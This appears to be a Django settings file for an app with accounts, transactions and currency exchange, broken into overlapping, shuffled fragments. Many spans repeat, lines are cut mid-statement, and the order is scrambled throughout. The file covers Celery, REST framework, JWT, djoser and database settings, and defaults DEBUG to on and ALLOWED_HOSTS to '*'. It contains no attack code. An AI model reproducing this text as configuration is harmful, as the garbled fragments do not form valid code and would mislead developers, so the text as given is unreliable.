'id', 'USER_ID_CLAIM': 'id',", "crontab(hour=\"*/1\"), } } # ------------------------------------------ # # Django REST Framework", "model to be used as login field 'LOGIN_FIELD': 'email', #", "BASE_DIR / 'subdir'. BASE_DIR = Path(__file__).resolve().parent.parent SECRET_KEY = os.environ.get( 'SECRET_KEY',", "= 'json' CELERY_BEAT_SCHEDULE = { 'update_rates': { 'task': 'apps.user.tasks.update_rates', 'schedule':", "= '<KEY>' # ------------------------------------------ # # Celery # # ------------------------------------------", "True, 'SERIALIZERS': { 'user_create': 'apps.user.serializers.UserCreateSerializer' } } # ------------------------------------------ #", "LANGUAGE_CODE = 'uk' LANGUAGES = [ ('en', _('English')), ('uk', _('Ukrainian'))", "'json' CELERY_BEAT_SCHEDULE = { 'update_rates': { 'task': 'apps.user.tasks.update_rates', 'schedule': crontab(hour=\"*/1\"),", "'PASSWORD_RESET_CONFIRM_URL': 'password/reset/confirm/{uid}/{token}', 'USERNAME_RESET_CONFIRM_URL': 'eamil/reset/confirm/{uid}/{token}', # If True, you need to", "= int(os.environ.get('DEBUG', default=1)) # 'DJANGO_ALLOWED_HOSTS' should be a single string", "'authentication.User' # Internationalization # https://docs.djangoproject.com/en/3.1/topics/i18n/ LANGUAGE_CODE = 'uk' LANGUAGES =", "Simple JWT # # ------------------------------------------ # SIMPLE_JWT = { 'ACCESS_TOKEN_LIFETIME':", "= 'djmoney.contrib.exchange.backends.FixerBackend' FIXER_ACCESS_KEY = '<KEY>' # ------------------------------------------ # # Celery", "a single string of hosts with a space between each.", "'/activate/{uid}/{token}', 'PASSWORD_RESET_CONFIRM_URL': 'password/reset/confirm/{uid}/{token}', 'USERNAME_RESET_CONFIRM_URL': 'eamil/reset/confirm/{uid}/{token}', # If True, you need", "CELERY_BEAT_SCHEDULE = { 'update_rates': { 'task': 'apps.user.tasks.update_rates', 'schedule': crontab(hour=\"*/1\"), }", "{ 'NAME': 'django.contrib.auth.password_validation.UserAttributeSimilarityValidator', }, { 'NAME': 'django.contrib.auth.password_validation.MinimumLengthValidator', }, { 'NAME':", "single string of hosts with a space between each. #", "# REST_FRAMEWORK = { 'DEFAULT_PERMISSION_CLASSES': ( 'rest_framework.permissions.IsAuthenticated', ), 'DEFAULT_AUTHENTICATION_CLASSES': (", "'django.middleware.security.SecurityMiddleware', 'django.contrib.sessions.middleware.SessionMiddleware', 'corsheaders.middleware.CorsMiddleware', 'django.middleware.common.CommonMiddleware', 'django.middleware.csrf.CsrfViewMiddleware', 'django.contrib.auth.middleware.AuthenticationMiddleware', 'django.contrib.messages.middleware.MessageMiddleware' ] ROOT_URLCONF =", "os.environ.get('SQL_ENGINE', 'django.db.backends.sqlite3'), 'NAME': os.environ.get('SQL_DATABASE', os.path.join(BASE_DIR, 'db.sqlite3')), 'USER': os.environ.get('SQL_USER'), 'PASSWORD': os.environ.get('SQL_PASSWORD'),", "'db.sqlite3')), 'USER': os.environ.get('SQL_USER'), 'PASSWORD': os.environ.get('SQL_PASSWORD'), 'HOST': os.environ.get('SQL_HOST'), 'PORT': os.environ.get('SQL_PORT'), }", "STATIC_URL = \"/static/\" STATIC_ROOT = os.path.join(BASE_DIR, \"static\") EMAIL_BACKEND = 'django.core.mail.backends.console.EmailBackend'", "{ 'NAME': 'django.contrib.auth.password_validation.NumericPasswordValidator', }, ] AUTH_USER_MODEL = 'authentication.User' # Internationalization", "equality. 'USER_CREATE_PASSWORD_RETYPE': True, 'PASSWORD_RESET_CONFIRM_RETYPE': True, # If True, register or", "'django.middleware.csrf.CsrfViewMiddleware', 'django.contrib.auth.middleware.AuthenticationMiddleware', 'django.contrib.messages.middleware.MessageMiddleware' ] ROOT_URLCONF = 'project.urls' TEMPLATES = [", "\"/static/\" STATIC_ROOT = os.path.join(BASE_DIR, \"static\") EMAIL_BACKEND = 'django.core.mail.backends.console.EmailBackend' # ------------------------------------------", "'djoser', 'djmoney', 'djmoney.contrib.exchange', 'corsheaders', 'apps.account.apps.AccountConfig', 'apps.transaction.apps.TransactionConfig', 'apps.common.apps.CommonConfig', 'apps.authentication.apps.AuthenticationConfig' ] MIDDLEWARE", "'apps.user.tasks.update_rates', 'schedule': crontab(hour=\"*/1\"), } } # ------------------------------------------ # # Django", "'EUR' EXCHANGE_BACKEND = 'djmoney.contrib.exchange.backends.FixerBackend' FIXER_ACCESS_KEY = '<KEY>' # ------------------------------------------ #", "'USERNAME_RESET_CONFIRM_URL': 'eamil/reset/confirm/{uid}/{token}', # If True, you need to pass re_password", "= { # Name of a field in User model", "like this: BASE_DIR / 'subdir'. BASE_DIR = Path(__file__).resolve().parent.parent SECRET_KEY =", "# ------------------------------------------ # CELERY_BROKER_URL = os.environ.get('REDIS_LOCATION', 'redis://127.0.0.1:6379') CELERY_RESULT_BACKEND = os.environ.get('REDIS_LOCATION',", "SECURITY WARNING: don't run with debug turned on in production!", "'context_processors': [ 'django.template.context_processors.debug', 'django.template.context_processors.request', 'django.contrib.auth.context_processors.auth', 'django.contrib.messages.context_processors.messages' ], }, }, ]", "'redis://127.0.0.1:6379') CELERY_RESULT_BACKEND = os.environ.get('REDIS_LOCATION', 'redis://127.0.0.1:6379') CELERY_ACCEPT_CONTENT = ['application/json'] CELERY_RESULT_SERIALIZER =", "# # Celery # # ------------------------------------------ # CELERY_BROKER_URL = os.environ.get('REDIS_LOCATION',", "'django.contrib.auth', 'django.contrib.contenttypes', 'django.contrib.sessions', 'django.contrib.messages', 'django.contrib.staticfiles', 'rest_framework', 'django_filters', 'rosetta', 'djoser', 'djmoney',", "os.environ.get('SQL_DATABASE', os.path.join(BASE_DIR, 'db.sqlite3')), 'USER': os.environ.get('SQL_USER'), 'PASSWORD': os.environ.get('SQL_PASSWORD'), 'HOST': os.environ.get('SQL_HOST'), 'PORT':", "} # Password validation # https://docs.djangoproject.com/en/3.1/ref/settings/#auth-password-validators AUTH_PASSWORD_VALIDATORS = [ {", "Internationalization # https://docs.djangoproject.com/en/3.1/topics/i18n/ LANGUAGE_CODE = 'uk' LANGUAGES = [ ('en',", "------------------------------------------ # SIMPLE_JWT = { 'ACCESS_TOKEN_LIFETIME': timedelta(minutes=5), 'REFRESH_TOKEN_LIFETIME': timedelta(days=1), 'ROTATE_REFRESH_TOKENS':", "'SERIALIZERS': { 'user_create': 'apps.user.serializers.UserCreateSerializer' } } # ------------------------------------------ # #", "CELERY_BROKER_URL = os.environ.get('REDIS_LOCATION', 'redis://127.0.0.1:6379') CELERY_RESULT_BACKEND = os.environ.get('REDIS_LOCATION', 'redis://127.0.0.1:6379') CELERY_ACCEPT_CONTENT =", "need to pass re_password to /users/ # endpoint, to validate", "'rest_framework.authentication.BasicAuthentication', 'rest_framework_simplejwt.authentication.JWTAuthentication', ), 'EXCEPTION_HANDLER': 'apps.common.errors.custom_exception_handler', 'TEST_REQUEST_DEFAULT_FORMAT': 'json', } # ------------------------------------------", "# Name of a field in User model to be", "django.utils.translation import gettext_lazy as _ # Build paths inside the", "TIME_ZONE = 'UTC' USE_I18N = True USE_L10N = True USE_TZ", "'json' CELERY_TASK_SERIALIZER = 'json' CELERY_BEAT_SCHEDULE = { 'update_rates': { 'task':", "files (CSS, JavaScript, Images) # https://docs.djangoproject.com/en/3.1/howto/static-files/ STATIC_URL = \"/static/\" STATIC_ROOT", "'rest_framework_simplejwt.authentication.JWTAuthentication', ), 'EXCEPTION_HANDLER': 'apps.common.errors.custom_exception_handler', 'TEST_REQUEST_DEFAULT_FORMAT': 'json', } # ------------------------------------------ #", "datetime import timedelta from celery.schedules import crontab from django.utils.translation import", "= True # Static files (CSS, JavaScript, Images) # https://docs.djangoproject.com/en/3.1/howto/static-files/", "[ 'django.middleware.security.SecurityMiddleware', 'django.contrib.sessions.middleware.SessionMiddleware', 'corsheaders.middleware.CorsMiddleware', 'django.middleware.common.CommonMiddleware', 'django.middleware.csrf.CsrfViewMiddleware', 'django.contrib.auth.middleware.AuthenticationMiddleware', 'django.contrib.messages.middleware.MessageMiddleware' ] ROOT_URLCONF", "on in production! DEBUG = int(os.environ.get('DEBUG', default=1)) # 'DJANGO_ALLOWED_HOSTS' should", "_('English')), ('uk', _('Ukrainian')) ] LOCALE_PATHS = ( BASE_DIR / 'locale',", "timedelta(minutes=5), 'REFRESH_TOKEN_LIFETIME': timedelta(days=1), 'ROTATE_REFRESH_TOKENS': True, 'AUTH_HEADER_TYPES': ('JWT',), 'USER_ID_FIELD': 'id', 'USER_ID_CLAIM':", "'DJANGO_ALLOWED_HOSTS=localhost 127.0.0.1 [::1]' ALLOWED_HOSTS = os.environ.get(\"DJANGO_ALLOWED_HOSTS\", default='*').split(\" \") # Application", "Path from datetime import timedelta from celery.schedules import crontab from", "'django.contrib.auth.password_validation.MinimumLengthValidator', }, { 'NAME': 'django.contrib.auth.password_validation.CommonPasswordValidator', }, { 'NAME': 'django.contrib.auth.password_validation.NumericPasswordValidator', },", "Password validation # https://docs.djangoproject.com/en/3.1/ref/settings/#auth-password-validators AUTH_PASSWORD_VALIDATORS = [ { 'NAME': 'django.contrib.auth.password_validation.UserAttributeSimilarityValidator',", "# 'DJANGO_ALLOWED_HOSTS' should be a single string of hosts with", "hosts with a space between each. # For example: 'DJANGO_ALLOWED_HOSTS=localhost", "USE_I18N = True USE_L10N = True USE_TZ = True #", "# # ------------------------------------------ # REST_FRAMEWORK = { 'DEFAULT_PERMISSION_CLASSES': ( 'rest_framework.permissions.IsAuthenticated',", "{ 'update_rates': { 'task': 'apps.user.tasks.update_rates', 'schedule': crontab(hour=\"*/1\"), } } #", "'uk' LANGUAGES = [ ('en', _('English')), ('uk', _('Ukrainian')) ] LOCALE_PATHS", "'NAME': 'django.contrib.auth.password_validation.UserAttributeSimilarityValidator', }, { 'NAME': 'django.contrib.auth.password_validation.MinimumLengthValidator', }, { 'NAME': 'django.contrib.auth.password_validation.CommonPasswordValidator',", "True, you need to pass re_password to /users/ # endpoint,", "user. 'SEND_CONFIRMATION_EMAIL': True, 'SERIALIZERS': { 'user_create': 'apps.user.serializers.UserCreateSerializer' } } #", "# # Simple JWT # # ------------------------------------------ # SIMPLE_JWT =", "= [ 'django.middleware.security.SecurityMiddleware', 'django.contrib.sessions.middleware.SessionMiddleware', 'corsheaders.middleware.CorsMiddleware', 'django.middleware.common.CommonMiddleware', 'django.middleware.csrf.CsrfViewMiddleware', 'django.contrib.auth.middleware.AuthenticationMiddleware', 'django.contrib.messages.middleware.MessageMiddleware' ]", "'django.contrib.sessions', 'django.contrib.messages', 'django.contrib.staticfiles', 'rest_framework', 'django_filters', 'rosetta', 'djoser', 'djmoney', 'djmoney.contrib.exchange', 'corsheaders',", "'SEND_ACTIVATION_EMAIL': True, 'ACTIVATION_URL': '/activate/{uid}/{token}', 'PASSWORD_RESET_CONFIRM_URL': 'password/reset/confirm/{uid}/{token}', 'USERNAME_RESET_CONFIRM_URL': 'eamil/reset/confirm/{uid}/{token}', # If", "after: # * creating an account # * updating their", "'SEND_CONFIRMATION_EMAIL': True, 'SERIALIZERS': { 'user_create': 'apps.user.serializers.UserCreateSerializer' } } # ------------------------------------------", "# Simple JWT # # ------------------------------------------ # SIMPLE_JWT = {", "\"static\") EMAIL_BACKEND = 'django.core.mail.backends.console.EmailBackend' # ------------------------------------------ # # django-money #", "os.path.join(BASE_DIR, \"static\") EMAIL_BACKEND = 'django.core.mail.backends.console.EmailBackend' # ------------------------------------------ # # django-money", "Build paths inside the project like this: BASE_DIR / 'subdir'.", "] AUTH_USER_MODEL = 'authentication.User' # Internationalization # https://docs.djangoproject.com/en/3.1/topics/i18n/ LANGUAGE_CODE =", "FIXER_ACCESS_KEY = '<KEY>' # ------------------------------------------ # # Celery # #", "a space between each. # For example: 'DJANGO_ALLOWED_HOSTS=localhost 127.0.0.1 [::1]'", "( 'rest_framework.authentication.BasicAuthentication', 'rest_framework_simplejwt.authentication.JWTAuthentication', ), 'EXCEPTION_HANDLER': 'apps.common.errors.custom_exception_handler', 'TEST_REQUEST_DEFAULT_FORMAT': 'json', } #", "If True user will be required to click activation #", "= 'django.core.mail.backends.console.EmailBackend' # ------------------------------------------ # # django-money # # ------------------------------------------", "# * creating an account # * updating their email", "Path(__file__).resolve().parent.parent SECRET_KEY = os.environ.get( 'SECRET_KEY', default='<KEY> ) # SECURITY WARNING:", "creating an account # * updating their email 'SEND_ACTIVATION_EMAIL': True,", "'ROTATE_REFRESH_TOKENS': True, 'AUTH_HEADER_TYPES': ('JWT',), 'USER_ID_FIELD': 'id', 'USER_ID_CLAIM': 'id', } CORS_ALLOW_ALL_ORIGINS", "import os from pathlib import Path from datetime import timedelta", "# link sent in email after: # * creating an", "space between each. # For example: 'DJANGO_ALLOWED_HOSTS=localhost 127.0.0.1 [::1]' ALLOWED_HOSTS", "turned on in production! DEBUG = int(os.environ.get('DEBUG', default=1)) # 'DJANGO_ALLOWED_HOSTS'", "debug turned on in production! DEBUG = int(os.environ.get('DEBUG', default=1)) #", "gettext_lazy as _ # Build paths inside the project like", "# https://docs.djangoproject.com/en/3.1/topics/i18n/ LANGUAGE_CODE = 'uk' LANGUAGES = [ ('en', _('English')),", "production! DEBUG = int(os.environ.get('DEBUG', default=1)) # 'DJANGO_ALLOWED_HOSTS' should be a", "= { 'DEFAULT_PERMISSION_CLASSES': ( 'rest_framework.permissions.IsAuthenticated', ), 'DEFAULT_AUTHENTICATION_CLASSES': ( 'rest_framework.authentication.BasicAuthentication', 'rest_framework_simplejwt.authentication.JWTAuthentication',", "= 'json' CELERY_TASK_SERIALIZER = 'json' CELERY_BEAT_SCHEDULE = { 'update_rates': {", "'corsheaders.middleware.CorsMiddleware', 'django.middleware.common.CommonMiddleware', 'django.middleware.csrf.CsrfViewMiddleware', 'django.contrib.auth.middleware.AuthenticationMiddleware', 'django.contrib.messages.middleware.MessageMiddleware' ] ROOT_URLCONF = 'project.urls' TEMPLATES", "run with debug turned on in production! DEBUG = int(os.environ.get('DEBUG',", "/users/ # endpoint, to validate password equality. 'USER_CREATE_PASSWORD_RETYPE': True, 'PASSWORD_RESET_CONFIRM_RETYPE':", "'django.template.context_processors.request', 'django.contrib.auth.context_processors.auth', 'django.contrib.messages.context_processors.messages' ], }, }, ] WSGI_APPLICATION = 'project.wsgi.application'", "# # ------------------------------------------ # SIMPLE_JWT = { 'ACCESS_TOKEN_LIFETIME': timedelta(minutes=5), 'REFRESH_TOKEN_LIFETIME':", "os.environ.get('SQL_USER'), 'PASSWORD': os.environ.get('SQL_PASSWORD'), 'HOST': os.environ.get('SQL_HOST'), 'PORT': os.environ.get('SQL_PORT'), } } #", "in email after: # * creating an account # *", "= Path(__file__).resolve().parent.parent SECRET_KEY = os.environ.get( 'SECRET_KEY', default='<KEY> ) # SECURITY", "DEFAULT_CURRENCY = 'EUR' EXCHANGE_BACKEND = 'djmoney.contrib.exchange.backends.FixerBackend' FIXER_ACCESS_KEY = '<KEY>' #", "to /users/ # endpoint, to validate password equality. 'USER_CREATE_PASSWORD_RETYPE': True,", "'DIRS': [], 'APP_DIRS': True, 'OPTIONS': { 'context_processors': [ 'django.template.context_processors.debug', 'django.template.context_processors.request',", "}, { 'NAME': 'django.contrib.auth.password_validation.CommonPasswordValidator', }, { 'NAME': 'django.contrib.auth.password_validation.NumericPasswordValidator', }, ]", "'django.contrib.auth.password_validation.UserAttributeSimilarityValidator', }, { 'NAME': 'django.contrib.auth.password_validation.MinimumLengthValidator', }, { 'NAME': 'django.contrib.auth.password_validation.CommonPasswordValidator', },", "AUTH_USER_MODEL = 'authentication.User' # Internationalization # https://docs.djangoproject.com/en/3.1/topics/i18n/ LANGUAGE_CODE = 'uk'", "to user. 'SEND_CONFIRMATION_EMAIL': True, 'SERIALIZERS': { 'user_create': 'apps.user.serializers.UserCreateSerializer' } }", "{ # Name of a field in User model to", "------------------------------------------ # DEFAULT_CURRENCY = 'EUR' EXCHANGE_BACKEND = 'djmoney.contrib.exchange.backends.FixerBackend' FIXER_ACCESS_KEY =", "'NAME': 'django.contrib.auth.password_validation.NumericPasswordValidator', }, ] AUTH_USER_MODEL = 'authentication.User' # Internationalization #", "endpoint # will send confirmation email to user. 'SEND_CONFIRMATION_EMAIL': True,", "'TEST_REQUEST_DEFAULT_FORMAT': 'json', } # ------------------------------------------ # # djoser # #", "ALLOWED_HOSTS = os.environ.get(\"DJANGO_ALLOWED_HOSTS\", default='*').split(\" \") # Application definition INSTALLED_APPS =", "{ 'ACCESS_TOKEN_LIFETIME': timedelta(minutes=5), 'REFRESH_TOKEN_LIFETIME': timedelta(days=1), 'ROTATE_REFRESH_TOKENS': True, 'AUTH_HEADER_TYPES': ('JWT',), 'USER_ID_FIELD':", "user will be required to click activation # link sent", "https://docs.djangoproject.com/en/3.1/ref/settings/#auth-password-validators AUTH_PASSWORD_VALIDATORS = [ { 'NAME': 'django.contrib.auth.password_validation.UserAttributeSimilarityValidator', }, { 'NAME':", "re_password to /users/ # endpoint, to validate password equality. 'USER_CREATE_PASSWORD_RETYPE':", "# ------------------------------------------ # # Celery # # ------------------------------------------ # CELERY_BROKER_URL", "_ # Build paths inside the project like this: BASE_DIR", "# For example: 'DJANGO_ALLOWED_HOSTS=localhost 127.0.0.1 [::1]' ALLOWED_HOSTS = os.environ.get(\"DJANGO_ALLOWED_HOSTS\", default='*').split(\"", "} # ------------------------------------------ # # Simple JWT # # ------------------------------------------", "), 'EXCEPTION_HANDLER': 'apps.common.errors.custom_exception_handler', 'TEST_REQUEST_DEFAULT_FORMAT': 'json', } # ------------------------------------------ # #", "# https://docs.djangoproject.com/en/3.1/howto/static-files/ STATIC_URL = \"/static/\" STATIC_ROOT = os.path.join(BASE_DIR, \"static\") EMAIL_BACKEND", "with debug turned on in production! DEBUG = int(os.environ.get('DEBUG', default=1))", "this: BASE_DIR / 'subdir'. BASE_DIR = Path(__file__).resolve().parent.parent SECRET_KEY = os.environ.get(", "Django REST Framework # # ------------------------------------------ # REST_FRAMEWORK = {", "'schedule': crontab(hour=\"*/1\"), } } # ------------------------------------------ # # Django REST", "= 'authentication.User' # Internationalization # https://docs.djangoproject.com/en/3.1/topics/i18n/ LANGUAGE_CODE = 'uk' LANGUAGES", "of hosts with a space between each. # For example:", "AUTH_PASSWORD_VALIDATORS = [ { 'NAME': 'django.contrib.auth.password_validation.UserAttributeSimilarityValidator', }, { 'NAME': 'django.contrib.auth.password_validation.MinimumLengthValidator',", "# # Django REST Framework # # ------------------------------------------ # REST_FRAMEWORK", "pass re_password to /users/ # endpoint, to validate password equality.", "https://docs.djangoproject.com/en/3.1/topics/i18n/ LANGUAGE_CODE = 'uk' LANGUAGES = [ ('en', _('English')), ('uk',", "os.path.join(BASE_DIR, 'db.sqlite3')), 'USER': os.environ.get('SQL_USER'), 'PASSWORD': os.environ.get('SQL_PASSWORD'), 'HOST': os.environ.get('SQL_HOST'), 'PORT': os.environ.get('SQL_PORT'),", "os.environ.get('SQL_HOST'), 'PORT': os.environ.get('SQL_PORT'), } } # Password validation # https://docs.djangoproject.com/en/3.1/ref/settings/#auth-password-validators", "'djmoney', 'djmoney.contrib.exchange', 'corsheaders', 'apps.account.apps.AccountConfig', 'apps.transaction.apps.TransactionConfig', 'apps.common.apps.CommonConfig', 'apps.authentication.apps.AuthenticationConfig' ] MIDDLEWARE =", "# SECURITY WARNING: don't run with debug turned on in", "'django.template.backends.django.DjangoTemplates', 'DIRS': [], 'APP_DIRS': True, 'OPTIONS': { 'context_processors': [ 'django.template.context_processors.debug',", "'subdir'. BASE_DIR = Path(__file__).resolve().parent.parent SECRET_KEY = os.environ.get( 'SECRET_KEY', default='<KEY> )", "True user will be required to click activation # link", "or activation endpoint # will send confirmation email to user.", "ROOT_URLCONF = 'project.urls' TEMPLATES = [ { 'BACKEND': 'django.template.backends.django.DjangoTemplates', 'DIRS':", "https://docs.djangoproject.com/en/3.1/howto/static-files/ STATIC_URL = \"/static/\" STATIC_ROOT = os.path.join(BASE_DIR, \"static\") EMAIL_BACKEND =", "------------------------------------------ # REST_FRAMEWORK = { 'DEFAULT_PERMISSION_CLASSES': ( 'rest_framework.permissions.IsAuthenticated', ), 'DEFAULT_AUTHENTICATION_CLASSES':", "of a field in User model to be used as", "os.environ.get('SQL_PASSWORD'), 'HOST': os.environ.get('SQL_HOST'), 'PORT': os.environ.get('SQL_PORT'), } } # Password validation", "# ------------------------------------------ # DEFAULT_CURRENCY = 'EUR' EXCHANGE_BACKEND = 'djmoney.contrib.exchange.backends.FixerBackend' FIXER_ACCESS_KEY", "LOCALE_PATHS = ( BASE_DIR / 'locale', ) TIME_ZONE = 'UTC'", "from datetime import timedelta from celery.schedules import crontab from django.utils.translation", "}, }, ] WSGI_APPLICATION = 'project.wsgi.application' # Database # https://docs.djangoproject.com/en/3.1/ref/settings/#databases", "User model to be used as login field 'LOGIN_FIELD': 'email',", "'HOST': os.environ.get('SQL_HOST'), 'PORT': os.environ.get('SQL_PORT'), } } # Password validation #", "# ------------------------------------------ # # djoser # # ------------------------------------------ # DJOSER", "'APP_DIRS': True, 'OPTIONS': { 'context_processors': [ 'django.template.context_processors.debug', 'django.template.context_processors.request', 'django.contrib.auth.context_processors.auth', 'django.contrib.messages.context_processors.messages'", "127.0.0.1 [::1]' ALLOWED_HOSTS = os.environ.get(\"DJANGO_ALLOWED_HOSTS\", default='*').split(\" \") # Application definition", "with a space between each. # For example: 'DJANGO_ALLOWED_HOSTS=localhost 127.0.0.1", "'apps.common.apps.CommonConfig', 'apps.authentication.apps.AuthenticationConfig' ] MIDDLEWARE = [ 'django.middleware.security.SecurityMiddleware', 'django.contrib.sessions.middleware.SessionMiddleware', 'corsheaders.middleware.CorsMiddleware', 'django.middleware.common.CommonMiddleware',", "email 'SEND_ACTIVATION_EMAIL': True, 'ACTIVATION_URL': '/activate/{uid}/{token}', 'PASSWORD_RESET_CONFIRM_URL': 'password/reset/confirm/{uid}/{token}', 'USERNAME_RESET_CONFIRM_URL': 'eamil/reset/confirm/{uid}/{token}', #", "int(os.environ.get('DEBUG', default=1)) # 'DJANGO_ALLOWED_HOSTS' should be a single string of", "import gettext_lazy as _ # Build paths inside the project", "SECRET_KEY = os.environ.get( 'SECRET_KEY', default='<KEY> ) # SECURITY WARNING: don't", "'json', } # ------------------------------------------ # # djoser # # ------------------------------------------", "REST_FRAMEWORK = { 'DEFAULT_PERMISSION_CLASSES': ( 'rest_framework.permissions.IsAuthenticated', ), 'DEFAULT_AUTHENTICATION_CLASSES': ( 'rest_framework.authentication.BasicAuthentication',", "'ACTIVATION_URL': '/activate/{uid}/{token}', 'PASSWORD_RESET_CONFIRM_URL': 'password/reset/confirm/{uid}/{token}', 'USERNAME_RESET_CONFIRM_URL': 'eamil/reset/confirm/{uid}/{token}', # If True, you", "inside the project like this: BASE_DIR / 'subdir'. BASE_DIR =", "'django.contrib.messages.middleware.MessageMiddleware' ] ROOT_URLCONF = 'project.urls' TEMPLATES = [ { 'BACKEND':", "}, ] WSGI_APPLICATION = 'project.wsgi.application' # Database # https://docs.djangoproject.com/en/3.1/ref/settings/#databases DATABASES", "= [ ('en', _('English')), ('uk', _('Ukrainian')) ] LOCALE_PATHS = (", "SIMPLE_JWT = { 'ACCESS_TOKEN_LIFETIME': timedelta(minutes=5), 'REFRESH_TOKEN_LIFETIME': timedelta(days=1), 'ROTATE_REFRESH_TOKENS': True, 'AUTH_HEADER_TYPES':", "/ 'subdir'. BASE_DIR = Path(__file__).resolve().parent.parent SECRET_KEY = os.environ.get( 'SECRET_KEY', default='<KEY>", "[ ('en', _('English')), ('uk', _('Ukrainian')) ] LOCALE_PATHS = ( BASE_DIR", "= \"/static/\" STATIC_ROOT = os.path.join(BASE_DIR, \"static\") EMAIL_BACKEND = 'django.core.mail.backends.console.EmailBackend' #", "'django.template.context_processors.debug', 'django.template.context_processors.request', 'django.contrib.auth.context_processors.auth', 'django.contrib.messages.context_processors.messages' ], }, }, ] WSGI_APPLICATION =", "from celery.schedules import crontab from django.utils.translation import gettext_lazy as _", "'djmoney.contrib.exchange', 'corsheaders', 'apps.account.apps.AccountConfig', 'apps.transaction.apps.TransactionConfig', 'apps.common.apps.CommonConfig', 'apps.authentication.apps.AuthenticationConfig' ] MIDDLEWARE = [", "If True, you need to pass re_password to /users/ #", "True, register or activation endpoint # will send confirmation email", "------------------------------------------ # # djoser # # ------------------------------------------ # DJOSER =", "# DEFAULT_CURRENCY = 'EUR' EXCHANGE_BACKEND = 'djmoney.contrib.exchange.backends.FixerBackend' FIXER_ACCESS_KEY = '<KEY>'", "= { 'update_rates': { 'task': 'apps.user.tasks.update_rates', 'schedule': crontab(hour=\"*/1\"), } }", "'<KEY>' # ------------------------------------------ # # Celery # # ------------------------------------------ #", "required to click activation # link sent in email after:", "will send confirmation email to user. 'SEND_CONFIRMATION_EMAIL': True, 'SERIALIZERS': {", "project like this: BASE_DIR / 'subdir'. BASE_DIR = Path(__file__).resolve().parent.parent SECRET_KEY", "CELERY_RESULT_BACKEND = os.environ.get('REDIS_LOCATION', 'redis://127.0.0.1:6379') CELERY_ACCEPT_CONTENT = ['application/json'] CELERY_RESULT_SERIALIZER = 'json'", "from pathlib import Path from datetime import timedelta from celery.schedules", "to be used as login field 'LOGIN_FIELD': 'email', # If", "}, ] AUTH_USER_MODEL = 'authentication.User' # Internationalization # https://docs.djangoproject.com/en/3.1/topics/i18n/ LANGUAGE_CODE", "CELERY_TASK_SERIALIZER = 'json' CELERY_BEAT_SCHEDULE = { 'update_rates': { 'task': 'apps.user.tasks.update_rates',", "USE_L10N = True USE_TZ = True # Static files (CSS,", "in User model to be used as login field 'LOGIN_FIELD':", "string of hosts with a space between each. # For", "'django.contrib.auth.password_validation.NumericPasswordValidator', }, ] AUTH_USER_MODEL = 'authentication.User' # Internationalization # https://docs.djangoproject.com/en/3.1/topics/i18n/", "Name of a field in User model to be used", "# # djoser # # ------------------------------------------ # DJOSER = {", "to pass re_password to /users/ # endpoint, to validate password", "# django-money # # ------------------------------------------ # DEFAULT_CURRENCY = 'EUR' EXCHANGE_BACKEND", "'eamil/reset/confirm/{uid}/{token}', # If True, you need to pass re_password to", "'rest_framework', 'django_filters', 'rosetta', 'djoser', 'djmoney', 'djmoney.contrib.exchange', 'corsheaders', 'apps.account.apps.AccountConfig', 'apps.transaction.apps.TransactionConfig', 'apps.common.apps.CommonConfig',", "\") # Application definition INSTALLED_APPS = [ 'django.contrib.admin', 'django.contrib.auth', 'django.contrib.contenttypes',", "# Database # https://docs.djangoproject.com/en/3.1/ref/settings/#databases DATABASES = { 'default': { 'ENGINE':", "'locale', ) TIME_ZONE = 'UTC' USE_I18N = True USE_L10N =", "password equality. 'USER_CREATE_PASSWORD_RETYPE': True, 'PASSWORD_RESET_CONFIRM_RETYPE': True, # If True, register", "{ 'ENGINE': os.environ.get('SQL_ENGINE', 'django.db.backends.sqlite3'), 'NAME': os.environ.get('SQL_DATABASE', os.path.join(BASE_DIR, 'db.sqlite3')), 'USER': os.environ.get('SQL_USER'),", "] LOCALE_PATHS = ( BASE_DIR / 'locale', ) TIME_ZONE =", "Images) # https://docs.djangoproject.com/en/3.1/howto/static-files/ STATIC_URL = \"/static/\" STATIC_ROOT = os.path.join(BASE_DIR, \"static\")", "# djoser # # ------------------------------------------ # DJOSER = { #", "'password/reset/confirm/{uid}/{token}', 'USERNAME_RESET_CONFIRM_URL': 'eamil/reset/confirm/{uid}/{token}', # If True, you need to pass", "# SIMPLE_JWT = { 'ACCESS_TOKEN_LIFETIME': timedelta(minutes=5), 'REFRESH_TOKEN_LIFETIME': timedelta(days=1), 'ROTATE_REFRESH_TOKENS': True,", "https://docs.djangoproject.com/en/3.1/ref/settings/#databases DATABASES = { 'default': { 'ENGINE': os.environ.get('SQL_ENGINE', 'django.db.backends.sqlite3'), 'NAME':", "os.environ.get(\"DJANGO_ALLOWED_HOSTS\", default='*').split(\" \") # Application definition INSTALLED_APPS = [ 'django.contrib.admin',", "= 'UTC' USE_I18N = True USE_L10N = True USE_TZ =", "# # ------------------------------------------ # CELERY_BROKER_URL = os.environ.get('REDIS_LOCATION', 'redis://127.0.0.1:6379') CELERY_RESULT_BACKEND =", "# ------------------------------------------ # # Django REST Framework # # ------------------------------------------", "'apps.transaction.apps.TransactionConfig', 'apps.common.apps.CommonConfig', 'apps.authentication.apps.AuthenticationConfig' ] MIDDLEWARE = [ 'django.middleware.security.SecurityMiddleware', 'django.contrib.sessions.middleware.SessionMiddleware', 'corsheaders.middleware.CorsMiddleware',", "their email 'SEND_ACTIVATION_EMAIL': True, 'ACTIVATION_URL': '/activate/{uid}/{token}', 'PASSWORD_RESET_CONFIRM_URL': 'password/reset/confirm/{uid}/{token}', 'USERNAME_RESET_CONFIRM_URL': 'eamil/reset/confirm/{uid}/{token}',", "} } # ------------------------------------------ # # Django REST Framework #", "] MIDDLEWARE = [ 'django.middleware.security.SecurityMiddleware', 'django.contrib.sessions.middleware.SessionMiddleware', 'corsheaders.middleware.CorsMiddleware', 'django.middleware.common.CommonMiddleware', 'django.middleware.csrf.CsrfViewMiddleware', 'django.contrib.auth.middleware.AuthenticationMiddleware',", "[ { 'BACKEND': 'django.template.backends.django.DjangoTemplates', 'DIRS': [], 'APP_DIRS': True, 'OPTIONS': {", "'project.urls' TEMPLATES = [ { 'BACKEND': 'django.template.backends.django.DjangoTemplates', 'DIRS': [], 'APP_DIRS':", "], }, }, ] WSGI_APPLICATION = 'project.wsgi.application' # Database #", "# will send confirmation email to user. 'SEND_CONFIRMATION_EMAIL': True, 'SERIALIZERS':", "as login field 'LOGIN_FIELD': 'email', # If True user will", "'django.middleware.common.CommonMiddleware', 'django.middleware.csrf.CsrfViewMiddleware', 'django.contrib.auth.middleware.AuthenticationMiddleware', 'django.contrib.messages.middleware.MessageMiddleware' ] 